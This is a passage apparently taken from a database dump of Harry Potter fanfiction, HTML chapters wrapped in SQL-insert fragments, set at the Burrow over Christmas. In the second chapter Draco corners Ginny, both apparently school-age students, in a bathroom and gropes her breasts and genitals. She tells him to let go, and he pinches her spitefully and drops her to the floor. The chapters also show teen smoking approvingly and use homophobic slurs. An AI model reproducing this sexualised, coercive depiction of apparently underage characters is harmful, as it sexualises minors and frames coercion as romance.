take Draco and Ginny into the other room and play a game or something?&#8221;</p>\n\n<p></p>\n\n<p>It had been a long time since Mrs Weasley had treated him like such a child, but Harry put it down to nerves and complied. Draco rose from his seat grudgingly and followed Ginny and Harry out of the kitchen.</p>\n\n<p></p>\n\n<p>Draco plunked down next to the fire, putting his hands so close to it that they could easily burn if he wasn&#8217;t careful. Ginny sat on the sofa though, keeping her blankets wrapped firmly about her shoulders. The familiar sound of explosions drifted down the stairs, along with laughter from three Weasley boys. Ron wasn&#8217;t laughing though; Harry would recognise it if he were. It was time to talk to him. And Hermione, where ever she was.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m going to find Ron and Hermione. I&#8217;ll be back in a moment,&#8221; Harry said absently to Ginny. </p>\n\n<p></p>\n\n<p>Draco reached out a hand to stop him. &#8220;Podder, did you ged my fags?&#8221;</p>\n\n<p></p>\n\n<p>Harry looked down and laughed. &#8220;I don&#8217;t think you&#8217;ll be able to smoke them for a while, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes I can.&#8221;</p>\n\n<p></p>\n\n<p>Harry rolled his eyes and undid the strings on the box he&#8217;d set on the couch earlier. The parcel expanded rapidly before bursting into several brightly wrapped presents and a brown paper bag. Digging into the sack, Harry pulled out ten green boxes that said &#8216;Earl and Flick&#8217;s Menthol Cigarettes - with new and improved Calming Charm!&#8217;.</p>\n\n<p></p>\n\n<p>&#8220;Here,&#8221; Harry said, depositing all but two onto Draco&#8217;s lap along with the small purse of gold he&#8217;d been given earlier. &#8220;Happy Christmas, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Why are you keeping dwo?&#8221;</p>\n\n<p></p>\n\n<p>Harry shrugged. &#8220;Consider it my fee for buying the things in the first place.&#8221;</p>\n\n<p></p>\n\n<p>Draco glanced up at one of the boxes and noticed that the wrapping had been removed. His eyes lit up with a demented sort of glee. &#8220;Oh Podder, you&#8217;re a naudy boy.&#8221;</p>\n\n<p></p>\n\n<p>Nose twitching furiously, Ginny finally burst out with laughter. &#8220;Harry! You led Draco giff you a fag? Mum&#8217;ll be furious when she finds oud dad he sdarded you smoking.&#8221;</p>\n\n<p></p>\n\n<p>Harry flushed deeply, realising that Hermione would be angry, too. Good thing he picked up some lovely little mints from the smoke shop. Those cigarettes really were growing on him, too. Sod it.</p>\n\n<p></p>\n\n<p>&#8220;Giff me dad sack, Podder. I can&#8217;d carry all dees ad once.&#8221; Draco reached up and snatched the brown paper bag out of Harry&#8217;s hand, quickly stuffing it full with the little green boxes. He stood up then and walked toward the stairs, a smug grin plastered on his face. Must be nice to feel so giddy at the thought of corrupting someone, Harry thought.</p>\n\n<p></p>\n\n<p>&#8220;Come on, Podder. We&#8217;ll haff a fag upstairs. I&#8217;ll effen show you my secred hiding spod.&#8221;</p>\n\n<p></p>\n\n<p>Harry shook his head and grinned despite himself, following Draco up the stairs. The blonde turned off at the second landing and went into Percy&#8217;s room, pulling one of the boxes from the bag before handing the paper sack to Harry.</p>\n\n<p></p>\n\n<p>&#8220;Dere&#8217;s a loose floorboard under duh desk. Sdick dem in dere.&#8221;</p>\n\n<p></p>\n\n<p>Snickering at Draco&#8217;s speech impediment, Harry crawled under the desk and touched the floor with his fingertips, searching for the loose panel. It wasn&#8217;t fair that Harry had been coming to the Burrow for years, yet Draco Malfoy was here for less than a week and he&#8217;d already found interesting hidey holes. </p>\n\n<p></p>\n\n<p> Harry felt one give and pulled it up. There were all sorts of letters inside and Harry looked at them in puzzlement before taking one out.</p>\n\n<p></p>\n\n<p>&#8220;Are these yours?&#8221;</p>\n\n<p></p>\n\n<p>Draco frowned and slid off the bed, a cigarette between his lips dangling haphazardly. &#8220;No, I&#8217;ff nefer seen dose before. You pulled up duh wrong board, you sod.&#8221;</p>\n\n<p></p>\n\n<p>Harry sat on the floor next to the desk, a curious Draco beside him, and turned the envelope over in his hand. It was addressed to Percy in an ornate script. Suddenly, Draco gasped and snatched it from Harry.</p>\n\n<p></p>\n\n<p>&#8220;Dis is my fader&#8217;s handwriding! I&#8217;d recognise id anywhere.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What would letters from your father be doing in Percy&#8217;s room?&#8221;</p>\n\n<p></p>\n\n<p>Draco sniffed loudly, trying to talk until Harry handed him a handkerchief out of sheer exasperation.</p>\n\n<p></p>\n\n<p>&#8220;For cripe&#8217;s sake, blow your conk, Malfoy. You sound disgusting.&#8221;</p>\n\n<p></p>\n\n<p>Honking into the cloth a few times, Draco blinked bleary eyes at Harry before clearing his throat. &#8220;Ah, that&#8217;s better. Now I don&#8217;t sound like an idiot anymore.&#8221;</p>\n\n<p></p>\n\n<p>Harry wisely kept his opinion on that to himself while Draco looked back down at the letter in his hands before ripping open the envelope to get inside. A slip of parchment fell out and Harry nicked it before Draco had the chance to do so himself.</p>\n\n<p></p>\n\n<p>&#8220;It&#8217;s from <i>my </i>father, I think I should read it if anyone!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Just give me a moment, Malfoy,&#8221; Harry said absently as he had already started to scan the ornate, flowing scrawl.</p>\n\n<i><p></p>\n\n<p>Percy,</p>\n\n<p>You know that I care for you, of course. But I do not think that the time is yet ripe for me to leave N<font face="Times New Roman">&#8212;</font>\n\n<font face="Times New Roman">&#8212;</font> . Our Friend may still have need for company and I would hate to deprive him of someone he is fond of. </p>\n\n<p></p>\n\n<p>Make sure that you are at my home on the 23rd. Do not be late as there will be a splendid feast. Our Friend will be most disappointed if you do not bring him a present since he went to so much trouble procuring time for us to be together. Bring the new cloak I gave you as well, it suits you perfectly.</p>\n\n<p>With affection,</p>\n\n<p>L<font face="Times New Roman">&#8212;</font>\n\n<font face="Times New Roman">&#8212;</font>\n\n</p>\n\n</i><p></p>\n\n<p>Harry clutched the paper tightly in hands that trembled. It didn&#8217;t take a genius to figure out who &#8216;Our Friend&#8217; was.</p>\n\n<p></p>\n\n<p>&#8220;What does it say, Potter?&#8221; </p>\n\n<p></p>\n\n<p>Draco attempted to grab the parchment from him, but Harry clung to it tenaciously.</p>\n\n<p></p>\n\n<p>&#8220;You don&#8217;t want to read this, Malfoy, trust me. I have to give this to Mr Weasley.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Gobshite, give me the blasted letter.&#8221;</p>\n\n<p></p>\n\n<p>Harry could see how wide Draco&#8217;s eyes were, and smoke pooled from the cigarette in his hand to wreath the boy&#8216;s face. With one last look to convey the fact that he didn&#8217;t want to give it to him, Harry handed the paper over.</p>\n\n<p>Draco snatched it up and read quickly, his normally pale features blanching further in horror as his fag fell to the floor and disappeared. </p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; he whispered hoarsely, dropping the paper like it was a snake. &#8220;My father didn&#8217;t write that, he couldn&#8217;t have done. It&#8216;s a bloody trick.&#8221;</p>\n\n<p></p>\n\n<p>Running shaky fingers through his hair, Harry picked up the box of cigarettes Draco dropped and pulled one out. He put it to his lips and puffed, watching as the end turned bright cherry red without need of a flame. Smoke filled his lungs and he could feel the calming charm at work. Already it was clearing the shock from his system and allowing him to think. Harry could easily see now why so many people depended on them.</p>\n\n<p></p>\n\n<p>He looked up and noticed that Draco&#8217;s eyes were wide and disbelief still overlaid his features. Harry passed him another cigarette and Draco took it gratefully, sucking at the filter in a desperate sort of way. </p>\n\n<p></p>\n\n<p>&#8220;I have to show these to Mr Weasley.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Are you mad?&#8221; Draco hissed, smoke pouring out of his mouth like a dragon. &#8220;It&#8217;s bad enough that <i>you </i>know my father&#8217;s a<font face="Times New Roman">&#8212;</font> &#8221; he closed his eyes and swallowed. &#8220;My father&#8217;s a p-poof. But to tell the Wea<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;I have to tell them, Malfoy!&#8221; Harry cut him off severely. &#8220;It&#8217;s their son who&#8217;s consorting with your father and they need to know.&#8221;</p>\n\n<p></p>\n\n<p>Draco was very still for a few minutes, his only motion being the even rise and fall of one hand to his lips. Harry thought he was completely in another world and was about to say something when he spoke.</p>\n\n<p></p>\n\n<p>&#8220;You can tell Mr Weasley about it, and I assume Mrs Weasley, too. Just don&#8217;t tell any of the others about this.&#8221;</p>\n\n<p></p>\n\n<p>The look he gave Harry was almost pleading, or as close to it as Draco Malfoy ever was. Maybe he was human after all. Harry nodded quietly and folded the note into one of his pockets. Malfoy seemed relieved and stood up, holding out a hand to Harry.</p>\n\n<p></p>\n\n<p>He looked at it in amazement and then stared up at Draco. This would probably be the only show of gratitude he&#8217;d ever receive from a Malfoy. Harry was vividly reminded of his first year and the offer of friendship he had been presented with then. Harry shook his head to dislodge that thought and pushed himself off the floor.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll give this to Mr Weasley after tea or when everyone&#8217;s gone to bed.&#8221;</p>\n\n<p></p>\n\n<p>Draco nodded, his eyes glittering strangely in the half-light. &#8220;I&#8217;ll be there, too. I can&#8217;t hide from this forever, and maybe I can<font face="Times New Roman">&#8212;</font> &#8221; He broke off and Harry could hear the grate of his teeth. No more words came out and Draco walked out of the room.</p>\n\n<p></p>\n\n<p>Harry stayed there for a moment, wondering if Malfoy was actually going to offer his help. He was still the same smarmy git he&#8217;d always been, but there was something very different about Draco Malfoy now. Harry shrugged it off and made his way out of the room and down to the end of the corridor.</p>\n\n<p></p>\n\n<p>The door to Hermione&#8217;s room was open a crack and he pushed gently. It was dark inside, but he could see from the light in the hall that she was lying face down on the bed; the fluffy head he knew so well cradled in her arms.</p>\n\n<p></p>\n\n<p>&#8220;Hermione? Are you awake?&#8221;</p>\n\n<p></p>\n\n<p>She sat up with a start, sniffing quietly. &#8220;Harry, is that you?&#8221;</p>\n\n<p></p>\n\n<p>Harry frowned and stepped inside, closing the door. It was obvious that she had been crying; he could see the tear tracks down her face even in the dim moonlight. Sitting on the bed, Harry pulled Hermione to him, awkwardly patting her back. Weeping females had never been one of his strong suits.</p>\n\n<p></p>\n\n<p>&#8220;Hermione, what&#8217;s the matter?&#8221;</p>\n\n<p></p>\n\n<p>Her shoulders shook harder and she nuzzled her face into his soft woollen jumper. After a few more clumsy thumps on the back and several hiccups, she spoke.</p>\n\n<p></p>\n\n<p>&#8220;Oh Harry, Ron is such a<font face="Times New Roman">&#8212;</font> a<font face="Times New Roman">&#8212;</font> !&#8221; </p>\n\n<p></p>\n\n<p>The last word was interrupted by another hiccup and she pressed her face even deeper into his chest, clawing her fingers around the fabric of his sleeve. To say Harry was puzzled was a given.</p>\n\n<p></p>\n\n<p>&#8220;What&#8216;s happened now?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shook her head violently and twisted both wool and skin with her frantic hands. Harry winced slightly but didn&#8217;t move otherwise.</p>\n\n<p></p>\n\n<p>&#8220;I h-had a fight with -hic- Ron earlier.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What did you say?&#8221;</p>\n\n<p></p>\n\n<p>She pulled away from his chest; her eyes and nose were glistening in the faint light. &#8220;I tried to talk to him, be nice and -hic- everything. But Ron made me so mad and started talking in that annoying way he does. You know, when he wants to make me angry. All &#8216;don&#8217;t its&#8217; and &#8216;sight lots&#8217; but no real <i>words</i>, Harry. Then I was suddenly so cross that I just floundered; I couldn&#8216;t even speak. I opened my mouth, but nothing came out but a bunch of nonsense. And he<font face="Times New Roman">&#8212;</font> he laughed at me!&#8221;</p>\n\n<p></p>\n\n<p>Harry&#8217;s eyebrows drew together in puzzlement. &#8220;What on earth are you talking about?&#8221;</p>\n\n<p></p>\n\n<p>Hermione&#8217;s small frame shook with the sobs trying to escape. &#8220;Are my brains turning to mush now? I can&#8216;t even speak properly he makes me so cross. What if it was important? What if it were Voldemort there and I couldn&#8216;t hex him because I was so angry?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione,&#8221; Harry said, lifting a finger to trace her cheek gently. She may have been overreacting, but he knew that Hermione took herself very seriously. With all the bad feelings he&#8216;d been having lately, Harry knew that this certainly wasn&#8216;t the time for Hermione to doubt herself or her intelligence. She needed to be strong. &#8220;I don&#8217;t think you&#8217;re stupid. You&#8217;re the brightest person I know and that won&#8217;t ever change. This isn&#8216;t the end of the world.&#8221; </p>\n\n<p></p>\n\n<p>She gazed at him sadly. &#8220;It is to me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re fine. Honestly, everyone gets cross and lets their feelings take over sometimes. And I&#8217;m going to pound Ron for laughing at you.&#8221;</p>\n\n<p></p>\n\n<p>Hermione was about to say more, but he stopped her with a kiss. He let it linger a moment, giving them both some small comfort before pulling away. Harry reached up and stroked her hair.</p>\n\n<p></p>\n\n<p>&#8220;Go to the loo and wash your face. Then come down to the kitchen, tea&#8217;s probably ready.&#8221;</p>\n\n<p></p>\n\n<p>She nodded and gave him another kiss before sliding off the bed, making her way out into the hall and upstairs to the bathroom. Harry followed after a moment, aiming a dirty glance toward Ron&#8217;s room as he passed it on his way down the stairs. It was getting harder and harder to remember that Ron was supposed to be his friend.</p>\n\n<p></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 12, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour&#8217;s Notes: Thank you to the lovely Tegan for fanart in this chapter.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Mrs Weasley made more mince pies and there was still a Christmas pudding boiling merrily away in a pot on the kitchen hearth, waiting for the next day\'s tea. The roast chicken on the table was tender, and there were pots of mash and other vegetables spread out over the table along with fresh baked bread and honey butter. Gravy boats winked happily from the reflected light and urged those seated to be liberal with their contents.</p>\n\n<p></p>\n\n<p>But Draco couldn\'t eat a bite.</p>\n\n<p></p>\n\n<p>Glancing from the corner of his eye, he noticed that the stupidest Weasley, Ron, appeared to be having the same problem. Draco smirked to himself in satisfaction.</p>\n\n<p></p>\n\n<p>The twins were chattering away with Ginny, making her giggle across from him. Draco appreciated this only because it made her ample breasts shake and bob with each titter. How someone could look at something so nice as a well-rounded tit and not be aroused was beyond him. Draco comforted himself with the knowledge that he knew where he stood on <i>that </i>subject.</p>\n\n<p></p>\n\n<p>Harry and Hermione remained quiet, the latter picking at her food but still eating. The fact that the famous trio were on the outs perked Draco up a little and he took a bite from the bread on his plate. This made Mrs Weasley smile at him from over her fork and he wanted to bung the whole plate just to make her stop. It wasn\'t as if she <i>really</i> cared.</p>\n\n<p></p>\n\n<p>Especially when she found out about his father.</p>\n\n<p></p>\n\n<p>That wouldn\'t be until much later; after everyone else went to bed and Potter did his duty as saviour of the free world by bringing that horrible note to the Weasleys\' attention. Draco reassured himself with the knowledge that Hermione would most likely be chewing Saint Potter out later for picking up another bad habit. Smoking. This time, Draco smiled mischievously at his plate and started eating in earnest.</p>\n\n<p></p>\n\n<p>&quot;Put something in our food, Malfoy?&quot; George asked, his face still splattered with a slightly dimmed version of the purple ink stain from earlier.</p>\n\n<p></p>\n\n<p>Draco shook his head. &quot;Not tonight; I think I\'ve filled my quota for the day.&quot;</p>\n\n<p></p>\n\n<p>Ginny snorted. &quot;I\'ll say. I don\'t think even Fred and George could manage the mischief you\'ve caused in just twenty-four hours.&quot;</p>\n\n<p></p>\n\n<p>She apparently hadn\'t bothered to mention to her brothers exactly <i>how </i>she\'d caught a cold earlier that day. But since the potion had finally taken effect, there was no reason for her to mention it. Draco certainly wasn\'t about to either; he liked his rocks in his pants the way nature intended and not strung from the ceiling like a twisted Christmas banner.</p>\n\n<p></p>\n\n<p>Fred perked up at Ginny&#8216;s statement. &quot;A challenge, dear sister?&quot;</p>\n\n<p></p>\n\n<p>Cringing, she shook her head. &quot;No, no challenge at all. Forget what I said, in fact. You and George are brilliant as is.&quot;</p>\n\n<p></p>\n\n<p>George didn\'t accept this as an answer though. &quot;Ah, but the challenge has been issued so you can\'t take it back.&quot;</p>\n\n<p></p>\n\n<p>&quot;Fred, George, there will be no tomfoolery at this table tonight. Let\'s have a nice meal free of your pranks for once, boys.&quot; Mr Weasley said this to the twins, but he cast a glance at Draco as well.</p>\n\n<p></p>\n\n<p>For his part, Draco had the feeling that the twins were now even more determined to pull a joke on <i>someone. </i>It was only right that he take preventative measures.</p>\n\n<p></p>\n\n<p>Draco glanced at Mr Weasley, but saw that the man was busy talking with his wife and not paying anyone else the slightest mind. Forcing his lips to be still, Draco picked up a pea with the edge of his fork and lobbed it directly at Fred\'s head.</p>\n\n<p></p>\n\n<p>Unfortunately, Charlie bumped his elbow at a crucial moment and the pea went soaring over the table to land snugly between Ginny\'s breasts. Draco\'s eyes widened and he quickly looked back down at his plate, tearing into the chicken there with his several times accursed fork. The meat was a breast piece, too.</p>\n\n<p></p>\n\n<p>Sneaking a glimpse from under his hair, he noticed that she seemed to find it anything but amusing. The twins hadn\'t noticed, though, as they were too occupied with plotting his demise.</p>\n\n<p></p>\n\n<p>Ginny picked the pea out of her bra carefully, looking up to see who had thrown it. Draco became even more interested in his food then, trying to ignore her. He did a good job, too, because when a glob of mashed potatoes hit him in the face, he was very surprised.</p>\n\n<p></p>\n\n<p>Draco raised his head, mouth open in shock. The twins immediately stopped scheming and laughed out loud; slapping the table and making it shake. Ginny was taking a bite from her bread, her eyes innocently rounded. Harry had looked up from his whisperings to Hermione, and even Ron noticed that something was going on.</p>\n\n<p></p>\n\n<p>&quot;Ginny!&quot; Mrs Weasley admonished loudly, getting up from the table to hand Draco a towel. &quot;Why on earth did you do that?&quot;</p>\n\n<p></p>\n\n<p>&quot;He threw a pea at me,&quot; she defended, letting her lip pout out slightly.</p>\n\n<p></p>\n\n<p>Draco\'s nostrils flared as he tried to contain his embarrassment, but the action was hidden by the towel he was using to wipe his face. Ron was now snickering along with everyone else and he could feel his blood begin to simmer with rage. He stood up stiffly and grabbed a gravy boat, leaning over the table to pour it down the front of Ginny\'s dress.</p>\n\n<p></p>\n\n<p>She gasped loudly and jumped from her seat, batting at her clothes frantically while the twins shrieked with laughter and Mrs Weasley yelled.</p>\n\n<p></p>\n\n<p>&quot;Draco!&quot;</p>\n\n<p></p>\n\n<p>Ginny pushed her chair back and came around the table like a hell-bound harpy. Before Draco knew what she had done, there was a cracking sound and the stinging imprint of her hand on his cheek.</p>\n\n<p></p>\n\n<p>&quot;That was my favourite dress, you manky git!&quot; she cried.</p>\n\n<p></p>\n\n<p>He put a hand to his face, feigning shock and smirking all the while. &quot;Keep your food to yourself next time.&quot;</p>\n\n<p></p>\n\n<p>She stared at him incredulously. &quot;<i>You</i> started it!&quot;</p>\n\n<p></p>\n\n<p>Mr Weasley finally rose from the table himself to address the two in a stern voice. &quot;<i>Children</i>, go wash up. I expect that you\'ll both behave when you come back.&quot;</p>\n\n<p></p>\n\n<p>Draco\'s face burned at being called a child and he aimed a narrow glance at Ron, who was laughing louder than anyone else, before sweeping out of the room in a huff. Ginny followed behind him, head hanging sullenly on her neck like a broken flower stem.</p>\n\n<p></p>\n\n<p>&quot;I\'m going to get you for this, Draco Malfoy,&quot; Ginny hissed in his ear as they were climbing the stairs.</p>\n\n<p></p>\n\n<p>He glanced at her from the corner of his eye and shrugged. &quot;Blame yourself for sinking to my level in the first place.&quot;</p>\n\n<p></p>\n\n<p>Ginny tapered her eyes but didn\'t say anything more as she stomped into the loo and slammed the door. Draco heard water in the sink running and sighed, folding his arms and leaning against the wall in anticipation of a long wait. Couldn\'t he have just washed his face in the kitchen? Draco shook his head and shivered at the thought of cleaning himself up like a common dinner plate.</p>\n\n<p></p>\n\n<p>A few moments later, Ginny opened the door and Draco moved closer to it, almost blocking the frame. The front of her dress was drenched in water and clung to her body like a second skin. Draco could see how cold she was by the way her nipples had budded and pressed through the thick cotton material.</p>\n\n<p></p>\n\n<p>&quot;What are you staring at?&quot; Ginny snapped peevishly as she made to go around him.</p>\n\n<p></p>\n\n<p>Draco stood his ground and smirked, allowing his gaze to linger over her curves and also allowing a plan to blossom in his devious mind. &quot;I was just thinking to myself how lucky that pea was.&quot;</p>\n\n<p></p>\n\n<p>&quot;You\'re a nutter,&quot; she said, wrinkling her nose in exasperation. &quot;Now move out of the way so I can change.&quot;</p>\n\n<p></p>\n\n<p>His smirk turned into a full-fledged grin as he moved further into the washroom, forcing Ginny to back up as he closed the door behind them. Draco directed a glance at her rounded hips, and the way her small, soft belly was accentuated by the dripping fabric of her dress. She reached up a hand to nervously finger the red curls falling over her shoulder, the ends slightly damp.</p>\n\n<p></p>\n\n<p>Ginny was pretty enough, and her body whispered secrets of desire that he needed to hear. The ample padding to her backside told him that she\'d keep him warm, at least, as he pounded it into the cold, tiled floor. Ginny would be screaming his name soon and <i>that </i>would prove he wasn\'t a poof like his father.</p>\n\n<p></p>\n\n<p>The gauntlet was thrown.</p>\n\n<p></p>\n\n<p>&quot;D-draco?&quot; she asked, eyes wide as she backed up so far that she hit the wall. &quot;What are you doing?&quot;</p>\n\n<p></p>\n\n<p>Draco didn\'t say a word but continued to advance on her until he could feel the wet material of her dress against his solar plexus. Ginny\'s lip trembled slightly in anticipation, wondering what he was going to do next.</p>\n\n<p></p>\n\n<p>&quot;Are you going to<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>He cut her off by swooping down and arresting her mouth with his own. Ginny\'s arms fluttered uselessly for a moment before reaching up to twine themselves around his neck. That surprised him almost as much as when she poked her tiny pink tongue past his lips. Ah, so willing . . . it was a shame he hadn\'t done this before.</p>\n\n<p></p>\n\n<p>His hands skimmed over her hips, and Draco reached down under her thighs to pick her up. Ginny\'s legs wrapped around his waist easily as he pushed her further against the wall.</p>\n\n<p></p>\n\n<p>She moaned into his mouth and continued the attack, her small fingers tugging at his hair. Draco suckled her tongue while reaching up to grab one of her pert breasts in his long-fingered hand, twirling a nipple expertly through the wet material of her dress.</p>\n\n<p></p>\n\n<p>Ginny broke away from the kiss and tilted her head, groaning softly in the back of her throat. Draco moved to replace his hand with his mouth, nibbling at her pearled nipple through the cloth. Ginny\'s fingers tightened over his scalp and her hips quivered against his stomach.</p>\n\n<p></p>\n\n<p>Draco slid a hand down her belly to the top of her thighs, rooting through fabric before he found her knickers. He pulled his mouth from her breast and grated the stubble on his chin against her lips.</p>\n\n<p></p>\n\n<p>&quot;Say my name,&quot; he demanded harshly into her ear.</p>\n\n<p></p>\n\n<p>Ginny swallowed, her mouth slack and glazed over with lust. Draco could feel the internal debate she was having and it excited him. One finger edged the lace around her leg before slithering inside, stroking the wet curls there.</p>\n\n<p></p>\n\n<p>&quot;Say my name,&quot; Draco challenged again.</p>\n\n<p></p>\n\n<p>Her lips quivered in response. &quot;Draco,&quot; she breathed. &quot;Let go of me.&quot;</p>\n\n<p></p>\n\n</font><p><font size="4">Where did that come from? The sheer nerve of her! Draco gave spiteful pinch to the soft skin of her thigh before pushing away from the wall. Ginny fell to the cold, tiled floor from where she had been perched on his hips. She winced at the impact and rubbed her bottom, </font><a href="http://groups.yahho.com/group/stafic/files/AIDE%20Chapter%2012.jpg"><u><font size="4" color="#0000ff">glaring</font></u></a><font size="4"> up at him.</font></p><font size="4">\n\n<p></p>\n\n<p>&quot;You\'re a tease, Weasley,&quot; Draco said slowly. His teeth were clenched so that the words came out gritty and almost breathless.</p>\n\n<p></p>\n\n<p>Ginny blinked slowly, eyes unfocused but filled with anger as she jumped to her feet. Her face was tipped up toward his, only inches away. &quot;<i>I\'m</i> a tease? You\'re the one who has flirted with me ever since you came here! And even at school before that. You\'re just a pathetic little boy, Draco Malfoy. A stupid, rich prat who thinks that he can<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Shut up, you daft twat. You honestly think that I\'ve been flirting with <i>you</i>? I wouldn\'t give you the time of day if I wasn\'t stuck in this house.&quot;</p>\n\n<p></p>\n\n<p>She smirked slightly. &quot;Poor little Drakkie, can\'t find Crabbe and Goyle to help you out this time?&quot;</p>\n\n<p></p>\n\n<p>Draco\'s eyes widened with anger and . . . fear. &quot;Don\'t ever<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;This is my house, Malfoy, not yours. I\'ll say what I please.&quot;</p>\n\n<p></p>\n\n<p>&quot;<i>Bitch</i>,&quot; he hissed.</p>\n\n<p></p>\n\n<p>Ginny shrugged. &quot;If it makes you feel better, Malfoy. But I\'m going back to the kitchen. Why don\'t you,&quot; she spared a withering glance at the bulging seam of his trousers, &quot;Clean yourself up.&quot;</p>\n\n<p></p>\n\n<p>Then she walked out of the bathroom, closing the door behind her. Draco stood still a moment before he was able to regain his bearings on reality. His throat and nose burned and there was a peculiar clutching feeling in his chest. One thought sustained him as he washed his face at the sink. It kept him going while he peeled away his wet shirt and climbed into the bathtub, filling it with icy water. That one thought kept pounding in his head.</p>\n\n<p></p>\n\n<p>She would pay for this.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry was picking at his food, uneasy about the task that lay before him. How did you tell someone that their son was diddling a Death Eater?</p>\n\n<p></p>\n\n<p>Hermione sat next to him, morosely eating the delicious mince pie on her plate. It seemed that both of his friends were feeling just as blue as he was because Ron hardly touched his food either. At least everyone else seemed to be having a good time.</p>\n\n<p></p>\n\n<p>Mr and Mrs Weasley ate their pie, speaking to each other quietly except for the occasional giggle from Mrs Weasley. Charlie was helping himself to another one, and the twins were still laughing over the scene between Ginny and Malfoy earlier.</p>\n\n<p></p>\n\n<p>Harry glanced down at his watch and frowned. Earlier was almost twenty minutes ago. What was going on up there?</p>\n\n<p></p>\n\n<p>&quot;Hermione,&quot; he whispered, touching her hand with his fingers to get her attention. &quot;Why don\'t you go and see if Ginny needs any help? They\'ve been up there an awful long time.&quot;</p>\n\n<p></p>\n\n<p>Hermione snorted softly before whispering back. &quot;What, are you afraid that she might be snogging Malfoy?&quot;</p>\n\n<p></p>\n\n<p>Harry grinned lopsidedly at her. &quot;Already happened once, or so I\'m told.&quot;</p>\n\n<p></p>\n\n<p>&quot;What!&quot; she exclaimed, louder than intended.</p>\n\n<p></p>\n\n<p>Everyone at the table looked up at her before going back to their pie. Except for Ron, who continued to stare at the two darkly. It almost made Harry feel guilty until he realised that he had nothing to feel guilty about. Ron was excluding himself. Wasn\'t he?</p>\n\n<p></p>\n\n<p>&quot;Just as I said, Hermione. Be a love and spy for me?&quot;</p>\n\n<p></p>\n\n<p>She giggled and patted his leg under the table. &quot;I\'ll check, but after that I\'m straight for bed.&quot;</p>\n\n<p></p>\n\n<p>&quot;Mind if I come up and tuck you in later?&quot; Harry murmured.</p>\n\n<p></p>\n\n<p>Hermione\'s eyes flitted around the table before giving him a barely perceptible wink. &quot;Maybe.&quot;</p>\n\n<p></p>\n\n<p>He laughed and looked at the pie in front of him as Hermione excused herself from the table and went upstairs. Shrugging, Harry took a bite, the taste of fruit, butter, and spice melting over his tongue. After that, it was easy to finish off and he even snatched up another one after that. Ginny came back into the kitchen eventually and finished eating her food, but Malfoy was nowhere to be seen.</p>\n\n<p></p>\n\n<p>Conversation around the table was quieting and gradually, everyone drifted off, leaving Harry alone with Mr and Mrs Weasley.</p>\n\n<p></p>\n\n<p>&quot;Harry dear, would you like another pie?&quot;</p>\n\n<p></p>\n\n<p>He shook his head and patted his stomach in a way that he\'d found convinced Mrs Weasley that he was indeed pleasantly full. It was difficult to resist though as Mrs Beeton had nothing on the woman as far as kitchen skills went. &quot;No, Mrs Weasley. I\'m full up.&quot;</p>\n\n<p></p>\n\n<p>She nodded and stood to clear all the plates away. Mr Weasley finished off his tea and looked up at Harry speculatively.</p>\n\n<p></p>\n\n<p>&quot;Harry, could I ask you to bring Draco downstairs? The missus and I need to have a word with him,&quot; he asked in a way that didn\'t really brook refusal.</p>\n\n<p></p>\n\n<p>&quot;Mr Weasley, there is something that he and I need to discuss with you first. I think it may be more . . . well, it\'s very important.&quot;</p>\n\n<p></p>\n\n<p>Mrs Weasley looked up from the sink and put her wand down, frowning at him. &quot;What\'s wrong, Harry?&quot;</p>\n\n<p></p>\n\n<p>Harry squirmed in his seat. &quot;I think that Malfoy should be the one to say something about this; it really isn\'t my place to say anything, but I promised him I\'d be here.&quot;</p>\n\n<p></p>\n\n<p>Mr Weasley spared his wife a Look. &quot;This sounds more important than the Floo Network. Bring him down, Harry. We\'ll have a chat.&quot;</p>\n\n<p></p>\n\n<p>Harry nodded and stood up from the table, leaving the kitchen and plodding up the stairs. He really was dreading this and he felt sorry for Malfoy. That was a first in and of itself; the boy had been a complete prat since the moment they met and now he felt sorry for him? Then again, who wouldn\'t in this situation?</p>\n\n<p></p>\n\n<p>The corridor to his right was dimly lit and Harry couldn\'t make out the faces of two figures that were embroiled in a heated argument near Draco\'s room. But he knew the voices and climbed more quickly in anger.</p>\n\n<p></p>\n\n<p>&quot;But Hermione, I lov<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Don\'t say it, Ron! I can\'t hear it now. I told you that I don\'t feel that way about you anymore. You had a chance and you wasted it.&quot;</p>\n\n<p></p>\n\n<p>Harry could see the taller figure lean down to kiss the small one and he broke into a run, tripping over the last step. There was a massive crack heard then as Hermione reached up to slap Ron and turned toward the wall, hiding her face in shaking hands.</p>\n\n<p></p>\n\n<p>&quot;Ron, what are you doing?&quot;</p>\n\n<p></p>\n\n<p>Ron looked up at hearing Harry\'s voice and narrowed his eyes. &quot;Stay out of this, Harry. This is between me and Hermione, it\'s none of your business.&quot;</p>\n\n<p></p>\n\n<p>&quot;I\'ll say it\'s my bloody business! That\'s my gir<font face="Times New Roman">&#8212;</font> &quot; Harry stopped, eyes wide. He was about to say that . . . to Ron. Oh God. He\'d been so blind and it had never even occurred to him that<font face="Times New 